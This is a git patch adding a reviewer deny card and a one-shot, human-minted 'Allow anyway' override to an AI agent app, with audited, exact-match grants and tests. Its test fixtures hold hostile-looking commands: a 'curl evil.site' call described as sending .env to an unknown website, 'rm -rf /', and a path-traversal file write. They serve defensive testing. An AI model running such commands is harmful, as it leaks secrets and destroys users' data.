From 29c9f2b4a8578f2235105ce2c16ba6914fa191b6 Mon Sep 17 00:00:00 2001 From: Devika Verma Date: Wed, 12 Aug 2026 17:30:58 -0700 Subject: [PATCH] Feature 3: reviewer deny card + one-shot "Allow anyway" (8.4) A reviewer deny now renders as a proper card in the transcript - the FULL reason (the agent only ever got the terse refusal) plus an "Allow anyway" button - and clicking it mints a ONE-SHOT exact-action approval. Engine: - approve_action_once(tool, arguments): human-minted grant keyed on the exact tool + canonical (sort_keys) JSON arguments, consumed on first match. Checked in _authorize's needs_user branch AHEAD of the reviewer, so the approved re-proposal runs without a reviewer call or a card. Audited as allow_anyway_granted + auto_allowed. - Deliberately narrow: a re-proposal with even slightly different arguments does not match and goes back through the normal flow, and the grant only applies where needs_user is true - it CANNOT unlock a hard deny (1.2), which is now a test. Server: WS kind "allow_anyway" {name, arguments} -> engine.approve_action_ once, with input validation. The GUI follows up through the normal user_message path with a visible "go ahead with it exactly as proposed" message, so the retry is in the transcript, not magic. GUI: - tool items carry reviewerReason/allowAnyway (the event fields were already broadcast verbatim; updateLastTool now keeps them). - StepRow renders the deny card: full reason, a note that the agent was told only THAT it was blocked (not why), and the button - which collapses into a confirmation after one click (no double-fire). - SessionSocket.allowAnyway; App.allowAnyway = WS grant + canned retry message; onAllowAnyway threaded Transcript -> TurnGroup -> StepRow. Tests: 4 engine (runs once without card/reviewer; consumed not standing; different action never matches; hard deny stays denied) + 3 component (card + reason + exact-args callback + one-shot button; no card on ordinary denies; no button without the callback). 110 backend + 114 GUI tests green. --- coworker/engine.py | 51 +++++++++++++++ coworker/server/app.py | 13 ++++ surfaces/gui/src/App.tsx | 14 ++++ surfaces/gui/src/api.ts | 6 ++ .../gui/src/components/Transcript.test.tsx | 54 ++++++++++++++++ surfaces/gui/src/components/Transcript.tsx | 52 ++++++++++++++- surfaces/gui/src/types.ts | 5 +- tests/test_auto_approve.py | 64 +++++++++++++++++++ 8 files changed, 255 insertions(+), 4 deletions(-) diff --git a/coworker/engine.py b/coworker/engine.py index fa78a06c..fc1783f5 100644 --- a/coworker/engine.py +++ b/coworker/engine.py @@ -133,6 +133,11 @@ class TurnEngine: # to the human's approval_resolved row by call_id). self.reviewer_shadow = False self._shadow_tasks: set[asyncio.Task] = set() + # One-shot "Allow anyway" grants (§8.4): minted ONLY by a human clicking the deny + # card, keyed on the exact tool + canonical arguments, consumed on first match. A + # re-proposal with even slightly different arguments does not match and goes back + # through the reviewer/card — deliberately narrow, deliberately not standing. + self._allow_anyway: set[tuple[str, str]] = set() self._last_context_tokens: Optional[int] = None self.audit_context: dict[str, Any] = {} if instructions and not ( @@ -798,6 +803,45 @@ class TurnEngine: arguments=tool_call.arguments, ) + @staticmethod + def _action_key(tool_name: str, arguments: dict[str, Any] | None) -> tuple[str, str]: + try: + canon = json.dumps(arguments or {}, sort_keys=True, ensure_ascii=False) + except (TypeError, ValueError): + canon = str(arguments) + return (tool_name, canon) + + def approve_action_once(self, tool_name: str, arguments: dict[str, Any] | None) -> None: + """Register a one-shot human approval for this EXACT action (§8.4 "Allow anyway"). + + Called by the server when the user clicks the deny card — a human decision made + with the full reviewer reason in front of them. The next proposal of the identical + action (same tool, byte-identical canonical arguments) runs without the reviewer or + a card; anything that differs at all still goes through the normal flow. Never + standing: consumed on first use.""" + self._allow_anyway.add(self._action_key(tool_name, arguments)) + if self.audit_sink is not None: + try: + self.audit_sink( + { + **self.audit_context, + "tool": tool_name, + "arguments": arguments or {}, + "stage": "allow_anyway_granted", + "status": "granted", + "reason": "user approved via the deny card (one-shot, exact action)", + } + ) + except Exception: + pass + + def _consume_allow_anyway(self, tool_call: ToolCall) -> bool: + key = self._action_key(tool_call.name, tool_call.arguments) + if key in self._allow_anyway: + self._allow_anyway.discard(key) + return True + return False + def _spawn_shadow_review(self, tool_call: ToolCall) -> None: """Shadow evaluation (spec Part 6 step 3): record what the reviewer WOULD have decided about this card, without touching anything. Fire-and-forget — the card @@ -861,6 +905,13 @@ class TurnEngine: tool_call, stage="auto_allowed", status="allowed", reason=reason ) + if not allowed and decision.needs_user and self._consume_allow_anyway(tool_call): + # §8.4 "Allow anyway": the human already approved this exact action from the + # deny card. One-shot — consumed above; a different action never matches. + allowed = True + reason = "approved by user (allow anyway)" + self._audit(tool_call, stage="auto_allowed", status="allowed", reason=reason) + consulted_live = False if not allowed and decision.needs_user and self._reviewer_active(): # The one thing the reviewer may do: turn "ask the human" into "go ahead" — diff --git a/coworker/server/app.py b/coworker/server/app.py index 3011ae38..a3ead625 100644 --- a/coworker/server/app.py +++ b/coworker/server/app.py @@ -1925,6 +1925,19 @@ def create_app(manager: SessionManager) -> FastAPI: ) elif kind == "question_response": _resolve_pending(str(message.get("answer", ""))) + elif kind == "allow_anyway": + # §8.4: the user clicked "Allow anyway" on a reviewer-denied tool card. + # Registers a ONE-SHOT exact-action approval on the engine; the GUI then + # sends its canned retry message through the normal user_message path, + # and the re-proposed identical action runs without the reviewer/card. + name = message.get("name") + arguments = message.get("arguments") + if not isinstance(name, str) or not name: + await reject_input("Invalid allow_anyway: missing tool name.") + elif arguments is not None and not isinstance(arguments, dict): + await reject_input("Invalid allow_anyway: arguments must be an object.") + else: + engine.approve_action_once(name, arguments or {}) elif kind == "interrupt": engine.request_interrupt() elif kind == "retry": diff --git a/surfaces/gui/src/App.tsx b/surfaces/gui/src/App.tsx index 972abd9a..ddd258c1 100644 --- a/surfaces/gui/src/App.tsx +++ b/surfaces/gui/src/App.tsx @@ -712,6 +712,8 @@ export function App() { d.result_preview || d.reason, d.display?.hidden_by_filters, d.standing_rule, + d.reviewer_reason, + d.allow_anyway, ), ); // Refresh the right rail when something it shows may have changed: browser state, or a @@ -905,6 +907,13 @@ export function App() { // the 4s poll restores anything genuinely still pending. const dropSessionInbox = (kind: string) => setSessionInbox((cur) => cur.filter((it) => it.kind !== kind)); + // §8.4 "Allow anyway" on a reviewer-denied tool: register the one-shot exact-action + // approval, then send a visible user message so the agent retries. The engine runs the + // identical re-proposal without the reviewer or a card; anything different still asks. + const allowAnyway = (name: string, args: any) => { + sessionRef.current?.allowAnyway(name, args); + send(`I reviewed the blocked ${name} action — go ahead with it exactly as proposed.`); + }; const approve = (decision: ApprovalDecision) => { setItems((p) => resolveLastApproval(p, decision)); dropSessionInbox("approval"); @@ -1574,6 +1583,7 @@ export function App() { onApprove={approve} running={running} onRetry={retry} + onAllowAnyway={allowAnyway} onUndoMemory={(id, previous) => void undoMemorySave(id, previous)} // §33 ref #3: sub-threshold streamed text renders INSIDE the live turn // group (header when collapsed, quiet line when expanded) — never as a @@ -1780,6 +1790,8 @@ function updateLastTool( preview?: string, hidden?: number, standingRule?: string, + reviewerReason?: string, + allowAnyway?: boolean, ): Item[] { const copy = [...items]; for (let i = copy.length - 1; i >= 0; i--) { @@ -1791,6 +1803,8 @@ function updateLastTool( preview, ...(hidden ? { hidden } : {}), ...(standingRule ? { standingRule } : {}), + ...(reviewerReason ? { reviewerReason } : {}), + ...(allowAnyway ? { allowAnyway } : {}), }; break; } diff --git a/surfaces/gui/src/api.ts b/surfaces/gui/src/api.ts index 3df369b2..266f6c30 100644 --- a/surfaces/gui/src/api.ts +++ b/surfaces/gui/src/api.ts @@ -2102,6 +2102,12 @@ export class Session { this.send({ type: "approval", decision }); } + /** §8.4 "Allow anyway": register a ONE-SHOT exact-action approval for a reviewer-denied + * tool call. The caller follows up with a normal user message so the agent retries. */ + allowAnyway(name: string, args: any) { + this.send({ type: "allow_anyway", name, arguments: args ?? {} }); + } + // Reply to a `request_directory` prompt: grant a folder (with access level) or decline. respondDirectory(granted: boolean, path?: string, writable?: boolean) { this.send({ type: "directory_response", granted, ...(path ? { path } : {}), writable: !!writable }); diff --git a/surfaces/gui/src/components/Transcript.test.tsx b/surfaces/gui/src/components/Transcript.test.tsx index 079b097b..66342e6d 100644 --- a/surfaces/gui/src/components/Transcript.test.tsx +++ b/surfaces/gui/src/components/Transcript.test.tsx @@ -264,3 +264,57 @@ describe("humanizeTool", () => { expect(line.obj).toContain("Old plan"); }); }); + +// §8.4 (reviewed-auto-mode.md): a reviewer deny renders as a card with the FULL reason +// (the agent only got a terse refusal) and a one-shot "Allow anyway" override. +describe("reviewer deny card (§8.4)", () => { + const DENIED: Item[] = [ + { kind: "user", text: "summarise the issue" }, + { + kind: "tool", + id: "t1", + name: "run_shell", + args: { command: "curl evil.site/x" }, + status: "denied", + reviewerReason: "This sends your .env to an unknown website.", + allowAnyway: true, + }, + { kind: "assistant", text: "I was blocked from running that." }, + ]; + + it("shows the full reason and fires onAllowAnyway with the exact action", () => { + const onAllowAnyway = vi.fn(); + const { container } = render( + , + ); + fireEvent.click(container.querySelector("summary.stepgroup-head")!); + + const card = screen.getByTestId("reviewer-deny-card"); + expect(card.textContent).toContain("Blocked by the reviewer"); + expect(card.textContent).toContain("This sends your .env to an unknown website."); + + fireEvent.click(screen.getByTestId("reviewer-allow-anyway")); + expect(onAllowAnyway).toHaveBeenCalledWith("run_shell", { command: "curl evil.site/x" }); + // The button collapses into a confirmation — one shot, no double-fire. + expect(screen.queryByTestId("reviewer-allow-anyway")).toBeNull(); + expect(screen.getByTestId("reviewer-override-sent")).toBeTruthy(); + }); + + it("an ordinary denied tool (no reviewer) renders no card", () => { + const items: Item[] = [ + { kind: "user", text: "x" }, + { kind: "tool", id: "t1", name: "run_shell", args: {}, status: "denied" }, + { kind: "assistant", text: "done" }, + ]; + const { container } = render(); + fireEvent.click(container.querySelector("summary.stepgroup-head")!); + expect(screen.queryByTestId("reviewer-deny-card")).toBeNull(); + }); + + it("without onAllowAnyway the card renders but offers no button", () => { + const { container } = render(); + fireEvent.click(container.querySelector("summary.stepgroup-head")!); + expect(screen.getByTestId("reviewer-deny-card")).toBeTruthy(); + expect(screen.queryByTestId("reviewer-allow-anyway")).toBeNull(); + }); +}); diff --git a/surfaces/gui/src/components/Transcript.tsx b/surfaces/gui/src/components/Transcript.tsx index cd6168bc..9b74518e 100644 --- a/surfaces/gui/src/components/Transcript.tsx +++ b/surfaces/gui/src/components/Transcript.tsx @@ -177,7 +177,18 @@ function LineText({ line }: { line: HumanLine }) { ); } -function StepRow({ tool, approval }: { tool: ToolItem; approval?: ApprovalItem }) { +function StepRow({ + tool, + approval, + onAllowAnyway, +}: { + tool: ToolItem; + approval?: ApprovalItem; + onAllowAnyway?: (name: string, args: any) => void; +}) { + // A reviewer deny (spec §8.4) renders as a card under the step: the FULL reason (the + // agent only got a terse refusal) plus the one-shot "Allow anyway" override. + const [overrideSent, setOverrideSent] = useState(false); const [raw, setRaw] = useState(false); const running = tool.status === "…"; const failed = tool.status !== "ok" && !running; @@ -231,6 +242,36 @@ function StepRow({ tool, approval }: { tool: ToolItem; approval?: ApprovalItem } {tool.preview ? `\n→ ${tool.preview.length > 1500 ? tool.preview.slice(0, 1500) + "\n…" : tool.preview}` : ""} )} + {tool.status === "denied" && tool.reviewerReason && ( +
+
Blocked by the reviewer
+
{tool.reviewerReason}
+
+ The agent was told only that it was blocked — not why — so it can’t argue + its way past this. If the action is actually fine, you can run it as proposed: +
+ {tool.allowAnyway && onAllowAnyway && !overrideSent && ( + + )} + {overrideSent && ( +
+ Approved — the agent will retry this exact action. +
+ )} +
+ )} ); } @@ -239,12 +280,14 @@ function TurnGroup({ items, live, streamingText, + onAllowAnyway, }: { items: TurnItem[]; live?: boolean; // Sub-threshold streamed text belongs to THIS group (§33 ref #3): collapsed → it rides // the header as the live line; expanded → the small quiet line under the steps. streamingText?: string; + onAllowAnyway?: (name: string, args: any) => void; }) { // Turns start COLLAPSED, running or not (owner call 2026-07-14) — the header's live // line is the pulse; expanding is opt-in. @@ -310,7 +353,7 @@ function TurnGroup({ {approvalChip(row.approval.resolved)} ) : ( - + ), )} {streamingText && ( @@ -344,6 +387,8 @@ interface Props { // MEMORY-SPEC §5.1: undo a just-announced write. `previous` (set when the write was // an edit) is the text to restore; without it the memory is deleted. onUndoMemory?: (id: number, previous?: string) => void; + // §8.4 "Allow anyway" on a reviewer-denied tool: one-shot exact-action override. + onAllowAnyway?: (name: string, args: any) => void; } // The transcript index whose notice gets the Retry button: the tail error notice, looking @@ -359,7 +404,7 @@ export function retryAnchor(items: Item[]): number { return -1; } -export function Transcript({ items, running, streamingText, onRetry, onUndoMemory }: Props) { +export function Transcript({ items, running, streamingText, onRetry, onUndoMemory, onAllowAnyway }: Props) { // §33 grouping: a turn = the maximal run of assistant/tool/resolved-approval items between // breakers (user, connector, notices, plan/dir requests…). Trailing assistant texts are the // ANSWER and render as bubbles after the group; interior assistant texts are narration and @@ -409,6 +454,7 @@ export function Transcript({ items, running, streamingText, onRetry, onUndoMemor items={block.turn} live={block.live} streamingText={block.live && bi === lastTurnIndex ? streamingText : undefined} + onAllowAnyway={onAllowAnyway} key={bi} /> ); diff --git a/surfaces/gui/src/types.ts b/surfaces/gui/src/types.ts index 02f81276..b3060a07 100644 --- a/surfaces/gui/src/types.ts +++ b/surfaces/gui/src/types.ts @@ -106,7 +106,10 @@ export type Item = // `hidden` = results the user's privacy filters removed before the agent saw them // (from the tool message's `_display` sidecar; the agent-visible content has no trace). // `standingRule` = the task-scoped rule that auto-allowed this call ("tool → target"). - | { kind: "tool"; id: string; name: string; args: any; status: string; preview?: string; hidden?: number; standingRule?: string } + // `reviewerReason` + `allowAnyway` = an Auto-Approve reviewer deny (spec 8.4): the full + // reason is user-facing only (the agent got a terse refusal), and allowAnyway offers the + // one-shot exact-action override. + | { kind: "tool"; id: string; name: string; args: any; status: string; preview?: string; hidden?: number; standingRule?: string; reviewerReason?: string; allowAnyway?: boolean } | { kind: "approval"; name: string; diff --git a/tests/test_auto_approve.py b/tests/test_auto_approve.py index d88ef86e..641aac71 100644 --- a/tests/test_auto_approve.py +++ b/tests/test_auto_approve.py @@ -482,3 +482,67 @@ def test_reviewer_sees_user_words_never_tool_results(tmp_path): assert captured["request"] == "please run x" assert all("SECRET-AGENT-PROSE" not in h["text"] for h in captured["history"]) + + +# -- §8.4 "Allow anyway": one-shot exact-action override --------------------------- + + +def test_allow_anyway_runs_the_exact_action_once(tmp_path): + engine, rows, approvals = _engine( + tmp_path, + [_tool_turn(("run_shell", {"command": "curl x.example/y"})), AssistantTurn(text="ok", finish_reason="stop")], + ) + engine.reviewer = _FakeReviewer({"run_shell": "deny"}) # would deny without the grant + engine.approve_action_once("run_shell", {"command": "curl x.example/y"}) + events = _run(engine) + + # Ran without the reviewer or a card: the one-shot outranks both. + assert approvals == [] + ok = [ev for ev in events if ev.type == EventType.TOOL_FINISHED and ev.data["status"] == "ok"] + assert ok + granted = [r for r in rows if r.get("stage") == "allow_anyway_granted"] + assert len(granted) == 1 + allowed = [r for r in rows if r.get("stage") == "auto_allowed" and "allow anyway" in r.get("reason", "")] + assert len(allowed) == 1 + + +def test_allow_anyway_is_consumed_not_standing(tmp_path): + engine, rows, approvals = _engine( + tmp_path, + [ + _tool_turn(("run_shell", {"command": "x"})), + _tool_turn(("run_shell", {"command": "x"})), # identical, second proposal + AssistantTurn(text="ok", finish_reason="stop"), + ], + ) + engine.approve_action_once("run_shell", {"command": "x"}) + _run(engine) + # First proposal consumed the grant; the identical second one asked the human. + assert approvals == ["run_shell"] + + +def test_allow_anyway_never_matches_a_different_action(tmp_path): + engine, rows, approvals = _engine( + tmp_path, + [_tool_turn(("run_shell", {"command": "rm -rf /"})), AssistantTurn(text="ok", finish_reason="stop")], + ) + # Approved a harmless command; the agent proposes something else entirely. + engine.approve_action_once("run_shell", {"command": "ls"}) + _run(engine) + assert approvals == ["run_shell"] # no match -> normal card, human decides + + +def test_allow_anyway_cannot_unlock_a_hard_deny(tmp_path): + engine, rows, approvals = _engine( + tmp_path, + [ + _tool_turn(("write_file", {"path": "../../outside.txt", "content": "x"})), + AssistantTurn(text="ok", finish_reason="stop"), + ], + ) + engine.approve_action_once("write_file", {"path": "../../outside.txt", "content": "x"}) + events = _run(engine) + # Hard denies have needs_user=False: the one-shot path never even sees them (§1.2). + denied = [ev for ev in events if ev.type == EventType.TOOL_FINISHED and ev.data["status"] == "denied"] + assert denied + assert approvals == []